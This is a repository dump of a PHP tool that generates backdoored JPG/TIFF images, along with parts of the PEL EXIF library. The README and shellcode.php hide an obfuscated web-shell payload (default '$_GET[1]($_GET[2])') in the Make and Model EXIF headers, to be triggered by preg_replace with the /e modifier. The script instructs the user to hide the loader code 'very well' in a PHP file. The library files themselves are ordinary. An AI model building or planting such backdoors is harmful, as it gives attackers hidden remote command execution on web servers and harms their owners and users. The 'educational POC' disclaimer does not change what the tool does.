├── pel ├── PelEntryRational.php ├── PelJpegContent.php ├── PelException.php ├── PelJpegComment.php ├── PelExif.php ├── PelEntryLong.php ├── PelFormat.php ├── PelEntryNumber.php ├── PelEntryByte.php ├── PelTiff.php ├── Pel.php ├── PelEntry.php ├── PelEntryUndefined.php ├── PelConvert.php ├── PelJpegMarker.php ├── PelDataWindow.php ├── PelEntryAscii.php ├── PelJpeg.php └── PelEntryShort.php ├── README.md └── shellcode.php /pel/PelEntryRational.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCSIR/PHP-EXIF-Backdoors-generator-using-custom-shellcode/HEAD/pel/PelEntryRational.php -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | PHP EXIF Backdoors generator using custom shellcode 2 | ================== 3 | 4 | > PHPEB is a small tool that generates and stores obfuscated shellcode in user specified EXIF handlers. The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content and the second is the real payload obfuscated in EXIF a JPG/TIFF file headers. 5 | 6 | > Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing. 7 | 8 | > Another interesting point is that the image that we generate still loads and works properly. 9 | 10 | > Started from Sucuri [Research](http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html). 11 | 12 | > If you have any other cool ideas for obfuscating the shellcode, feel free to commit. 13 | 14 | > Note: This application has been created as a POC and it has an educational purpose only. We are not responsibles for any damage you may inflict/get using this tool. 15 | 16 | * __Version__ : 1.0 17 | * __Website__ : [Cyber Security Research Center from Romania](http://ccsir.org) 18 | * __Contact__ : contact [at] ccsir [dot] org 19 | 20 | ##Usage 21 | > php phpeb.php [params] 22 | 23 | ##Params 24 | * -i path_to_image.jpg 25 | * -o path_to_backdoored_image.jpg 26 | * -s shellcode (optional) 27 | * -h EXIF headers (N/A in v1.0, Default:Make,Model) 28 | * -v verbose 1 or 0(optional, Default:0) 29 | * Default: !empty(\$1=@\$_GET[1]) && \$1(\$_GET[2]); 30 | 31 | ##Help 32 | - No need. Just download these files and upload in an environment that supports PHP. You can send any feedback 33 | or questions to contact [at] ccsir [dot] org 34 | 35 | ##License 36 | 37 | Copyright (C) 2013 Cyber Security Research Center from Romania 38 | 39 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 40 | 41 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 42 | 43 | You should have received a copy of the GNU General Public License along with this program; if not, see . 44 | -------------------------------------------------------------------------------- /pel/PelJpegContent.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /**#@+ Required class definitions. */ 40 | require_once('PelDataWindow.php'); 41 | /**#@-*/ 42 | 43 | 44 | /** 45 | * Class representing content in a JPEG file. 46 | * 47 | * A JPEG file consists of a sequence of each of which has an 48 | * associated {@link PelJpegMarker marker} and some content. This 49 | * class represents the content, and this basic type is just a simple 50 | * holder of such content, represented by a {@link PelDataWindow} 51 | * object. The {@link PelExif} class is an example of more 52 | * specialized JPEG content. 53 | * 54 | * @author Martin Geisler 55 | * @package PEL 56 | */ 57 | class PelJpegContent { 58 | private $data = null; 59 | 60 | /** 61 | * Make a new piece of JPEG content. 62 | * 63 | * @param PelDataWindow the content. 64 | */ 65 | function __construct(PelDataWindow $data) { 66 | $this->data = $data; 67 | } 68 | 69 | 70 | /** 71 | * Return the bytes of the content. 72 | * 73 | * @return string bytes representing this JPEG content. These bytes 74 | * will match the bytes given to {@link __construct the 75 | * constructor}. 76 | */ 77 | function getBytes() { 78 | return $this->data->getBytes(); 79 | } 80 | 81 | } 82 | 83 | -------------------------------------------------------------------------------- /pel/PelException.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /** 40 | * A printf() capable exception. 41 | * 42 | * This class is a simple extension of the standard Exception class in 43 | * PHP, and all the methods defined there retain their original 44 | * meaning. 45 | * 46 | * @package PEL 47 | * @subpackage Exception 48 | */ 49 | class PelException extends Exception { 50 | 51 | /** 52 | * Construct a new PEL exception. 53 | * 54 | * @param string $fmt an optional format string can be given. It 55 | * will be used as a format string for vprintf(). The remaining 56 | * arguments will be available for the format string as usual with 57 | * vprintf(). 58 | * 59 | * @param mixed $args,... any number of arguments to be used with 60 | * the format string. 61 | */ 62 | function __construct(/* fmt, args... */) { 63 | $args = func_get_args(); 64 | $fmt = array_shift($args); 65 | parent::__construct(vsprintf($fmt, $args)); 66 | } 67 | } 68 | 69 | 70 | /** 71 | * Exception throw if invalid data is found. 72 | * 73 | * @author Martin Geisler 74 | * @package PEL 75 | * @subpackage Exception 76 | */ 77 | class PelInvalidDataException extends PelException {} 78 | 79 | /** 80 | * Exception throw if an invalid argument is passed. 81 | * 82 | * @author Martin Geisler 83 | * @package PEL 84 | * @subpackage Exception 85 | */ 86 | class PelInvalidArgumentException extends PelException {} 87 | 88 | -------------------------------------------------------------------------------- /pel/PelJpegComment.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /**#@+ Required class definitions. */ 40 | require_once('PelJpegContent.php'); 41 | /**#@-*/ 42 | 43 | 44 | /** 45 | * Class representing JPEG comments. 46 | * 47 | * @author Martin Geisler 48 | * @package PEL 49 | */ 50 | class PelJpegComment extends PelJpegContent { 51 | 52 | /** 53 | * The comment. 54 | * 55 | * @var string 56 | */ 57 | private $comment = ''; 58 | 59 | /** 60 | * Construct a new JPEG comment. 61 | * 62 | * The new comment will contain the string given. 63 | */ 64 | function __construct($comment = '') { 65 | $this->comment = $comment; 66 | } 67 | 68 | 69 | /** 70 | * Load and parse data. 71 | * 72 | * This will load the comment from the data window passed. 73 | */ 74 | function load(PelDataWindow $d) { 75 | $this->comment = $d->getBytes(); 76 | } 77 | 78 | 79 | /** 80 | * Update the value with a new comment. 81 | * 82 | * Any old comment will be overwritten. 83 | * 84 | * @param string the new comment. 85 | */ 86 | function setValue($comment) { 87 | $this->comment = $comment; 88 | } 89 | 90 | 91 | /** 92 | * Get the comment. 93 | * 94 | * @return string the comment. 95 | */ 96 | function getValue() { 97 | return $this->comment; 98 | } 99 | 100 | 101 | /** 102 | * Turn this comment into bytes. 103 | * 104 | * @return string bytes representing this comment. 105 | */ 106 | function getBytes() { 107 | return $this->comment; 108 | } 109 | 110 | 111 | /** 112 | * Return a string representation of this object. 113 | * 114 | * @return string the same as {@link getValue()}. 115 | */ 116 | function __toString() { 117 | return $this->getValue(); 118 | } 119 | 120 | } 121 | 122 | -------------------------------------------------------------------------------- /pel/PelExif.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /**#@+ Required class definitions. */ 40 | require_once('PelJpegContent.php'); 41 | require_once('PelException.php'); 42 | require_once('PelFormat.php'); 43 | require_once('PelEntry.php'); 44 | require_once('PelTiff.php'); 45 | require_once('PelIfd.php'); 46 | require_once('PelTag.php'); 47 | require_once('Pel.php'); 48 | /**#@-*/ 49 | 50 | 51 | /** 52 | * Class representing Exif data. 53 | * 54 | * Exif data resides as {@link PelJpegContent data} and consists of a 55 | * header followed by a number of {@link PelJpegIfd IFDs}. 56 | * 57 | * The interesting method in this class is {@link getTiff()} which 58 | * will return the {@link PelTiff} object which really holds the data 59 | * which one normally think of when talking about Exif data. This is 60 | * because Exif data is stored as an extension of the TIFF file 61 | * format. 62 | * 63 | * @author Martin Geisler 64 | * @package PEL 65 | */ 66 | class PelExif extends PelJpegContent { 67 | 68 | /** 69 | * Exif header. 70 | * 71 | * The Exif data must start with these six bytes to be considered 72 | * valid. 73 | */ 74 | const EXIF_HEADER = "Exif\0\0"; 75 | 76 | /** 77 | * The PelTiff object contained within. 78 | * 79 | * @var PelTiff 80 | */ 81 | private $tiff = null; 82 | 83 | 84 | /** 85 | * Construct a new Exif object. 86 | * 87 | * The new object will be empty --- use the {@link load()} method to 88 | * load Exif data from a {@link PelDataWindow} object, or use the 89 | * {@link setTiff()} to change the {@link PelTiff} object, which is 90 | * the true holder of the Exif {@link PelEntry entries}. 91 | */ 92 | function __construct() { 93 | 94 | } 95 | 96 | 97 | /** 98 | * Load and parse Exif data. 99 | * 100 | * This will populate the object with Exif data, contained as a 101 | * {@link PelTiff} object. This TIFF object can be accessed with 102 | * the {@link getTiff()} method. 103 | */ 104 | function load(PelDataWindow $d) { 105 | Pel::debug('Parsing %d bytes of Exif data...', $d->getSize()); 106 | 107 | /* There must be at least 6 bytes for the Exif header. */ 108 | if ($d->getSize() < 6) 109 | throw new PelInvalidDataException('Expected at least 6 bytes of Exif ' . 110 | 'data, found just %d bytes.', 111 | $d->getSize()); 112 | 113 | /* Verify the Exif header */ 114 | if ($d->strcmp(0, self::EXIF_HEADER)) { 115 | $d->setWindowStart(strlen(self::EXIF_HEADER)); 116 | } else { 117 | throw new PelInvalidDataException('Exif header not found.'); 118 | } 119 | 120 | /* The rest of the data is TIFF data. */ 121 | $this->tiff = new PelTiff(); 122 | $this->tiff->load($d); 123 | } 124 | 125 | 126 | /** 127 | * Change the TIFF information. 128 | * 129 | * Exif data is really stored as TIFF data, and this method can be 130 | * used to change this data from one {@link PelTiff} object to 131 | * another. 132 | * 133 | * @param PelTiff the new TIFF object. 134 | */ 135 | function setTiff(PelTiff $tiff) { 136 | $this->tiff = $tiff; 137 | } 138 | 139 | 140 | /** 141 | * Get the underlying TIFF object. 142 | * 143 | * The actual Exif data is stored in a {@link PelTiff} object, and 144 | * this method provides access to it. 145 | * 146 | * @return PelTiff the TIFF object with the Exif data. 147 | */ 148 | function getTiff() { 149 | return $this->tiff; 150 | } 151 | 152 | 153 | /** 154 | * Produce bytes for the Exif data. 155 | * 156 | * @return string bytes representing this object. 157 | */ 158 | function getBytes() { 159 | return self::EXIF_HEADER . $this->tiff->getBytes(); 160 | } 161 | 162 | 163 | /** 164 | * Return a string representation of this object. 165 | * 166 | * @return string a string describing this object. This is mostly 167 | * useful for debugging. 168 | */ 169 | function __toString() { 170 | return Pel::tra("Dumping Exif data...\n") . 171 | $this->tiff->__toString(); 172 | } 173 | 174 | } 175 | 176 | -------------------------------------------------------------------------------- /pel/PelEntryLong.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /**#@+ Required class definitions. */ 40 | require_once('PelEntryNumber.php'); 41 | /**#@-*/ 42 | 43 | 44 | /** 45 | * Class for holding unsigned longs. 46 | * 47 | * This class can hold longs, either just a single long or an array of 48 | * longs. The class will be used to manipulate any of the Exif tags 49 | * which can have format {@link PelFormat::LONG} like in this 50 | * example: 51 | * 52 | * $w = $ifd->getEntry(PelTag::EXIF_IMAGE_WIDTH); 53 | * $w->setValue($w->getValue() / 2); 54 | * $h = $ifd->getEntry(PelTag::EXIF_IMAGE_HEIGHT); 55 | * $h->setValue($h->getValue() / 2); 56 | * 57 | * Here the width and height is updated to 50% of their original 58 | * values. 59 | * 60 | * @author Martin Geisler 61 | * @package PEL 62 | */ 63 | class PelEntryLong extends PelEntryNumber { 64 | 65 | /** 66 | * Make a new entry that can hold an unsigned long. 67 | * 68 | * The method accept its arguments in two forms: several integer 69 | * arguments or a single array argument. The {@link getValue} 70 | * method will always return an array except for when a single 71 | * integer argument is given here, or when an array with just a 72 | * single integer is given. 73 | * 74 | * This means that one can conveniently use objects like this: 75 | * 76 | * $a = new PelEntryLong(PelTag::EXIF_IMAGE_WIDTH, 123456); 77 | * $b = $a->getValue() - 654321; 78 | * 79 | * where the call to {@link getValue} will return an integer instead 80 | * of an array with one integer element, which would then have to be 81 | * extracted. 82 | * 83 | * @param PelTag the tag which this entry represents. This 84 | * should be one of the constants defined in {@link PelTag}, 85 | * e.g., {@link PelTag::IMAGE_WIDTH}, or any other tag which can 86 | * have format {@link PelFormat::LONG}. 87 | * 88 | * @param int $value... the long(s) that this entry will 89 | * represent or an array of longs. The argument passed must obey 90 | * the same rules as the argument to {@link setValue}, namely that 91 | * it should be within range of an unsigned long (32 bit), that is 92 | * between 0 and 4294967295 (inclusive). If not, then a {@link 93 | * PelExifOverflowException} will be thrown. 94 | */ 95 | function __construct($tag /* $value... */) { 96 | $this->tag = $tag; 97 | $this->min = 0; 98 | $this->max = 4294967295; 99 | $this->format = PelFormat::LONG; 100 | 101 | $value = func_get_args(); 102 | array_shift($value); 103 | $this->setValueArray($value); 104 | } 105 | 106 | 107 | /** 108 | * Convert a number into bytes. 109 | * 110 | * @param int the number that should be converted. 111 | * 112 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and 113 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. 114 | * 115 | * @return string bytes representing the number given. 116 | */ 117 | function numberToBytes($number, $order) { 118 | return PelConvert::longToBytes($number, $order); 119 | } 120 | } 121 | 122 | 123 | /** 124 | * Class for holding signed longs. 125 | * 126 | * This class can hold longs, either just a single long or an array of 127 | * longs. The class will be used to manipulate any of the Exif tags 128 | * which can have format {@link PelFormat::SLONG}. 129 | * 130 | * @author Martin Geisler 131 | * @package PEL 132 | */ 133 | class PelEntrySLong extends PelEntryNumber { 134 | 135 | /** 136 | * Make a new entry that can hold a signed long. 137 | * 138 | * The method accept its arguments in two forms: several integer 139 | * arguments or a single array argument. The {@link getValue} 140 | * method will always return an array except for when a single 141 | * integer argument is given here, or when an array with just a 142 | * single integer is given. 143 | * 144 | * @param PelTag the tag which this entry represents. This 145 | * should be one of the constants defined in {@link PelTag} 146 | * which have format {@link PelFormat::SLONG}. 147 | * 148 | * @param int $value... the long(s) that this entry will represent 149 | * or an array of longs. The argument passed must obey the same 150 | * rules as the argument to {@link setValue}, namely that it should 151 | * be within range of a signed long (32 bit), that is between 152 | * -2147483648 and 2147483647 (inclusive). If not, then a {@link 153 | * PelOverflowException} will be thrown. 154 | */ 155 | function __construct($tag /* $value... */) { 156 | $this->tag = $tag; 157 | $this->min = -2147483648; 158 | $this->max = 2147483647; 159 | $this->format = PelFormat::SLONG; 160 | 161 | $value = func_get_args(); 162 | array_shift($value); 163 | $this->setValueArray($value); 164 | } 165 | 166 | 167 | /** 168 | * Convert a number into bytes. 169 | * 170 | * @param int the number that should be converted. 171 | * 172 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and 173 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. 174 | * 175 | * @return string bytes representing the number given. 176 | */ 177 | function numberToBytes($number, $order) { 178 | return PelConvert::sLongToBytes($number, $order); 179 | } 180 | } 181 | 182 | -------------------------------------------------------------------------------- /shellcode.php: -------------------------------------------------------------------------------- 1 | 6) { 27 | print " # Usage: php phpeb.php [params] #\r\n"; 28 | print " # Params: #\r\n"; 29 | print " # -i path_to_image.jpg #\r\n"; 30 | print " # -o path_to_backdoored_image.jpg #\r\n"; 31 | print " # -s shellcode (optional) #\r\n"; 32 | print " # -h EXIF headers (N/A in v1.0, Default:Make,Model) #\r\n"; 33 | print " # -v verbose 1 or 0(optional, Default:0) #\r\n"; 34 | print " # Default: !empty(\$1=@\$_GET[1]) && \$1(\$_GET[2]); #\r\n"; 35 | print " ################################################################\r\n\r\n\r\n"; 36 | exit(1); 37 | 38 | } 39 | print " ################################################################\r\n\r\n\r\n"; 40 | 41 | $shellcode = '$_GET[1]($_GET[2]);'; 42 | $verbose = FALSE; 43 | $headers = 'Make,Model'; 44 | 45 | for($i=0;$iload($data); 85 | $exif = $jpeg->getExif(); 86 | 87 | if ($exif == null) { 88 | if($verbose) print " # No APP1 section found, added new.\r\n"; 89 | $exif = new PelExif(); 90 | $jpeg->setExif($exif); 91 | $tiff = new PelTiff(); 92 | $exif->setTiff($tiff); 93 | } else { 94 | if($verbose) print " # Found existing APP1 section.\r\n"; 95 | $tiff = $exif->getTiff(); 96 | } 97 | } elseif (PelTiff::isValid($data)) { 98 | $tiff = $file = new PelTiff(); 99 | 100 | $tiff->load($data); 101 | } else { 102 | print " # Unrecognized image format! The first 16 bytes follow:\r\n"; 103 | PelConvert::bytesToDump($data->getBytes(0, 16)); 104 | exit(1); 105 | } 106 | 107 | $ifd0 = $tiff->getIfd(); 108 | 109 | if ($ifd0 == null) { 110 | if($verbose) print " # No IFD found, adding new.\r\n"; 111 | $ifd0 = new PelIfd(PelIfd::IFD0); 112 | $tiff->setIfd($ifd0); 113 | } 114 | 115 | //add MODEL EXIF header 116 | $desc = $ifd0->getEntry(PelTag::MODEL); 117 | if ($desc == null) { 118 | if($verbose) print " # Added new MODEL entry with ".$payload."\r\n"; 119 | $desc = new PelEntryAscii(PelTag::MODEL, $payload); 120 | $ifd0->addEntry($desc); 121 | } else { 122 | 123 | if($verbose) print 'Updating MODEL entry from "'.$desc->getValue().'" to "'.$payload.'".'."\r\n"; 124 | $desc->setValue($payload); 125 | } 126 | 127 | //add MAKE EXIF header 128 | $desc = $ifd0->getEntry(PelTag::MAKE); 129 | if ($desc == null) { 130 | if($verbose) print " # Added new MAKE entry with ".$regex."\r\n"; 131 | $desc = new PelEntryAscii(PelTag::MAKE, $regex); 132 | $ifd0->addEntry($desc); 133 | } else { 134 | 135 | if($verbose) print 'Updating MAKE entry from "'.$desc->getValue().'" to "'.$regex.'".'."\r\n"; 136 | $desc->setValue($regex); 137 | } 138 | 139 | 140 | print " # Saving backdoor file : ".$backdoored.".\r\n"; 141 | $file->saveFile($backdoored); 142 | print " # Saved.\r\n"; 143 | if($verbose) print "\r\n\r\n"; 144 | print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n"; 145 | print "\r\n\r\n\r\n"; 147 | } 148 | 149 | function generate() { 150 | global $shellcode, $verbose, $used, $regex, $payload; 151 | 152 | for($i=0;$i 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /** 40 | * Namespace for functions operating on Exif formats. 41 | * 42 | * This class defines the constants that are to be used whenever one 43 | * has to refer to the format of an Exif tag. They will be 44 | * collectively denoted by the pseudo-type PelFormat throughout the 45 | * documentation. 46 | * 47 | * All the methods defined here are static, and they all operate on a 48 | * single argument which should be one of the class constants. 49 | * 50 | * @author Martin Geisler 51 | * @package PEL 52 | */ 53 | class PelFormat { 54 | 55 | /** 56 | * Unsigned byte. 57 | * 58 | * Each component will be an unsigned 8-bit integer with a value 59 | * between 0 and 255. 60 | * 61 | * Modelled with the {@link PelEntryByte} class. 62 | */ 63 | const BYTE = 1; 64 | 65 | /** 66 | * ASCII string. 67 | * 68 | * Each component will be an ASCII character. 69 | * 70 | * Modelled with the {@link PelEntryAscii} class. 71 | */ 72 | const ASCII = 2; 73 | 74 | /** 75 | * Unsigned short. 76 | * 77 | * Each component will be an unsigned 16-bit integer with a value 78 | * between 0 and 65535. 79 | * 80 | * Modelled with the {@link PelEntryShort} class. 81 | */ 82 | const SHORT = 3; 83 | 84 | /** 85 | * Unsigned long. 86 | * 87 | * Each component will be an unsigned 32-bit integer with a value 88 | * between 0 and 4294967295. 89 | * 90 | * Modelled with the {@link PelEntryLong} class. 91 | */ 92 | const LONG = 4; 93 | 94 | /** 95 | * Unsigned rational number. 96 | * 97 | * Each component will consist of two unsigned 32-bit integers 98 | * denoting the enumerator and denominator. Each integer will have 99 | * a value between 0 and 4294967295. 100 | * 101 | * Modelled with the {@link PelEntryRational} class. 102 | */ 103 | const RATIONAL = 5; 104 | 105 | /** 106 | * Signed byte. 107 | * 108 | * Each component will be a signed 8-bit integer with a value 109 | * between -128 and 127. 110 | * 111 | * Modelled with the {@link PelEntrySByte} class. 112 | */ 113 | const SBYTE = 6; 114 | 115 | /** 116 | * Undefined byte. 117 | * 118 | * Each component will be a byte with no associated interpretation. 119 | * 120 | * Modelled with the {@link PelEntryUndefined} class. 121 | */ 122 | const UNDEFINED = 7; 123 | 124 | /** 125 | * Signed short. 126 | * 127 | * Each component will be a signed 16-bit integer with a value 128 | * between -32768 and 32767. 129 | * 130 | * Modelled with the {@link PelEntrySShort} class. 131 | */ 132 | const SSHORT = 8; 133 | 134 | /** 135 | * Signed long. 136 | * 137 | * Each component will be a signed 32-bit integer with a value 138 | * between -2147483648 and 2147483647. 139 | * 140 | * Modelled with the {@link PelEntrySLong} class. 141 | */ 142 | const SLONG = 9; 143 | 144 | /** 145 | * Signed rational number. 146 | * 147 | * Each component will consist of two signed 32-bit integers 148 | * denoting the enumerator and denominator. Each integer will have 149 | * a value between -2147483648 and 2147483647. 150 | * 151 | * Modelled with the {@link PelEntrySRational} class. 152 | */ 153 | const SRATIONAL = 10; 154 | 155 | /** 156 | * Floating point number. 157 | * 158 | * Entries with this format are not currently implemented. 159 | */ 160 | const FLOAT = 11; 161 | 162 | /** 163 | * Double precision floating point number. 164 | * 165 | * Entries with this format are not currently implemented. 166 | */ 167 | const DOUBLE = 12; 168 | 169 | 170 | /** 171 | * Returns the name of a format. 172 | * 173 | * @param PelFormat the format. 174 | * 175 | * @return string the name of the format, e.g., 'Ascii' for the 176 | * {@link ASCII} format etc. 177 | */ 178 | static function getName($type) { 179 | switch ($type) { 180 | case self::ASCII: return 'Ascii'; 181 | case self::BYTE: return 'Byte'; 182 | case self::SHORT: return 'Short'; 183 | case self::LONG: return 'Long'; 184 | case self::RATIONAL: return 'Rational'; 185 | case self::SBYTE: return 'SByte'; 186 | case self::SSHORT: return 'SShort'; 187 | case self::SLONG: return 'SLong'; 188 | case self::SRATIONAL: return 'SRational'; 189 | case self::FLOAT: return 'Float'; 190 | case self::DOUBLE: return 'Double'; 191 | case self::UNDEFINED: return 'Undefined'; 192 | default: 193 | return Pel::fmt('Unknown format: 0x%X', $type); 194 | } 195 | } 196 | 197 | 198 | /** 199 | * Return the size of components in a given format. 200 | * 201 | * @param PelFormat the format. 202 | * 203 | * @return the size in bytes needed to store one component with the 204 | * given format. 205 | */ 206 | static function getSize($type) { 207 | switch ($type) { 208 | case self::ASCII: return 1; 209 | case self::BYTE: return 1; 210 | case self::SHORT: return 2; 211 | case self::LONG: return 4; 212 | case self::RATIONAL: return 8; 213 | case self::SBYTE: return 1; 214 | case self::SSHORT: return 2; 215 | case self::SLONG: return 4; 216 | case self::SRATIONAL: return 8; 217 | case self::FLOAT: return 4; 218 | case self::DOUBLE: return 8; 219 | case self::UNDEFINED: return 1; 220 | default: 221 | return Pel::fmt('Unknown format: 0x%X', $type); 222 | } 223 | } 224 | 225 | } 226 | 227 | -------------------------------------------------------------------------------- /pel/PelEntryNumber.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /**#@+ Required class definitions. */ 40 | require_once('PelException.php'); 41 | require_once('PelEntry.php'); 42 | /**#@-*/ 43 | 44 | 45 | /** 46 | * Exception cast when numbers overflow. 47 | * 48 | * @author Martin Geisler 49 | * @package PEL 50 | * @subpackage Exception 51 | */ 52 | class PelOverflowException extends PelException { 53 | 54 | /** 55 | * Construct a new overflow exception. 56 | * 57 | * @param int the value that is out of range. 58 | * 59 | * @param int the minimum allowed value. 60 | * 61 | * @param int the maximum allowed value. 62 | */ 63 | function __construct($v, $min, $max) { 64 | parent::__construct('Value %.0f out of range [%.0f, %.0f]', 65 | $v, $min, $max); 66 | } 67 | } 68 | 69 | 70 | /** 71 | * Class for holding numbers. 72 | * 73 | * This class can hold numbers, with range checks. 74 | * 75 | * @author Martin Geisler 76 | * @package PEL 77 | */ 78 | abstract class PelEntryNumber extends PelEntry { 79 | 80 | /** 81 | * The value held by this entry. 82 | * 83 | * @var array 84 | */ 85 | protected $value = array(); 86 | 87 | /** 88 | * The minimum allowed value. 89 | * 90 | * Any attempt to change the value below this variable will result 91 | * in a {@link PelOverflowException} being thrown. 92 | * 93 | * @var int 94 | */ 95 | protected $min; 96 | 97 | /** 98 | * The maximum allowed value. 99 | * 100 | * Any attempt to change the value over this variable will result in 101 | * a {@link PelOverflowException} being thrown. 102 | * 103 | * @var int 104 | */ 105 | protected $max; 106 | 107 | /** 108 | * The dimension of the number held. 109 | * 110 | * Normal numbers have a dimension of one, pairs have a dimension of 111 | * two, etc. 112 | * 113 | * @var int 114 | */ 115 | protected $dimension = 1; 116 | 117 | 118 | /** 119 | * Change the value. 120 | * 121 | * This method can change both the number of components and the 122 | * value of the components. Range checks will be made on the new 123 | * value, and a {@link PelOverflowException} will be thrown if the 124 | * value is found to be outside the legal range. 125 | * 126 | * The method accept several number arguments. The {@link getValue} 127 | * method will always return an array except for when a single 128 | * number is given here. 129 | * 130 | * @param int|array $value... the new value(s). This can be zero or 131 | * more numbers, that is, either integers or arrays. The input will 132 | * be checked to ensure that the numbers are within the valid range. 133 | * If not, then a {@link PelOverflowException} will be thrown. 134 | * 135 | * @see getValue 136 | */ 137 | function setValue(/* $value... */) { 138 | $value = func_get_args(); 139 | $this->setValueArray($value); 140 | } 141 | 142 | 143 | /** 144 | * Change the value. 145 | * 146 | * This method can change both the number of components and the 147 | * value of the components. Range checks will be made on the new 148 | * value, and a {@link PelOverflowException} will be thrown if the 149 | * value is found to be outside the legal range. 150 | * 151 | * @param array the new values. The array must contain the new 152 | * numbers. 153 | * 154 | * @see getValue 155 | */ 156 | function setValueArray($value) { 157 | foreach ($value as $v) 158 | $this->validateNumber($v); 159 | 160 | $this->components = count($value); 161 | $this->value = $value; 162 | } 163 | 164 | 165 | /** 166 | * Return the numeric value held. 167 | * 168 | * @return int|array this will either be a single number if there is 169 | * only one component, or an array of numbers otherwise. 170 | */ 171 | function getValue() { 172 | if ($this->components == 1) 173 | return $this->value[0]; 174 | else 175 | return $this->value; 176 | } 177 | 178 | 179 | /** 180 | * Validate a number. 181 | * 182 | * This method will check that the number given is within the range 183 | * given my {@link getMin()} and {@link getMax()}, inclusive. If 184 | * not, then a {@link PelOverflowException} is thrown. 185 | * 186 | * @param int|array the number in question. 187 | * 188 | * @return void nothing, but will throw a {@link 189 | * PelOverflowException} if the number is found to be outside the 190 | * legal range and {@link Pel::$strict} is true. 191 | */ 192 | function validateNumber($n) { 193 | if ($this->dimension == 1) { 194 | if ($n < $this->min || $n > $this->max) 195 | Pel::maybeThrow(new PelOverflowException($n, 196 | $this->min, 197 | $this->max)); 198 | } else { 199 | for ($i = 0; $i < $this->dimension; $i++) 200 | if ($n[$i] < $this->min || $n[$i] > $this->max) 201 | Pel::maybeThrow(new PelOverflowException($n[$i], 202 | $this->min, 203 | $this->max)); 204 | } 205 | } 206 | 207 | 208 | /** 209 | * Add a number. 210 | * 211 | * This appends a number to the numbers already held by this entry, 212 | * thereby increasing the number of components by one. 213 | * 214 | * @param int|array the number to be added. 215 | */ 216 | function addNumber($n) { 217 | $this->validateNumber($n); 218 | $this->value[] = $n; 219 | $this->components++; 220 | } 221 | 222 | 223 | /** 224 | * Convert a number into bytes. 225 | * 226 | * The concrete subclasses will have to implement this method so 227 | * that the numbers represented can be turned into bytes. 228 | * 229 | * The method will be called once for each number held by the entry. 230 | * 231 | * @param int the number that should be converted. 232 | * 233 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and 234 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. 235 | * 236 | * @return string bytes representing the number given. 237 | */ 238 | abstract function numberToBytes($number, $order); 239 | 240 | 241 | /** 242 | * Turn this entry into bytes. 243 | * 244 | * @param PelByteOrder the desired byte order, which must be either 245 | * {@link PelConvert::LITTLE_ENDIAN} or {@link 246 | * PelConvert::BIG_ENDIAN}. 247 | * 248 | * @return string bytes representing this entry. 249 | */ 250 | function getBytes($o) { 251 | $bytes = ''; 252 | for ($i = 0; $i < $this->components; $i++) { 253 | if ($this->dimension == 1) { 254 | $bytes .= $this->numberToBytes($this->value[$i], $o); 255 | } else { 256 | for ($j = 0; $j < $this->dimension; $j++) { 257 | $bytes .= $this->numberToBytes($this->value[$i][$j], $o); 258 | } 259 | } 260 | } 261 | return $bytes; 262 | } 263 | 264 | 265 | /** 266 | * Format a number. 267 | * 268 | * This method is called by {@link getText} to format numbers. 269 | * Subclasses should override this method if they need more 270 | * sophisticated behavior than the default, which is to just return 271 | * the number as is. 272 | * 273 | * @param int the number which will be formatted. 274 | * 275 | * @param boolean it could be that there is both a verbose and a 276 | * brief formatting available, and this argument controls that. 277 | * 278 | * @return string the number formatted as a string suitable for 279 | * display. 280 | */ 281 | function formatNumber($number, $brief = false) { 282 | return $number; 283 | } 284 | 285 | 286 | /** 287 | * Get the numeric value of this entry as text. 288 | * 289 | * @param boolean use brief output? The numbers will be separated 290 | * by a single space if brief output is requested, otherwise a space 291 | * and a comma will be used. 292 | * 293 | * @return string the numbers(s) held by this entry. 294 | */ 295 | function getText($brief = false) { 296 | if ($this->components == 0) 297 | return ''; 298 | 299 | $str = $this->formatNumber($this->value[0]); 300 | for ($i = 1; $i < 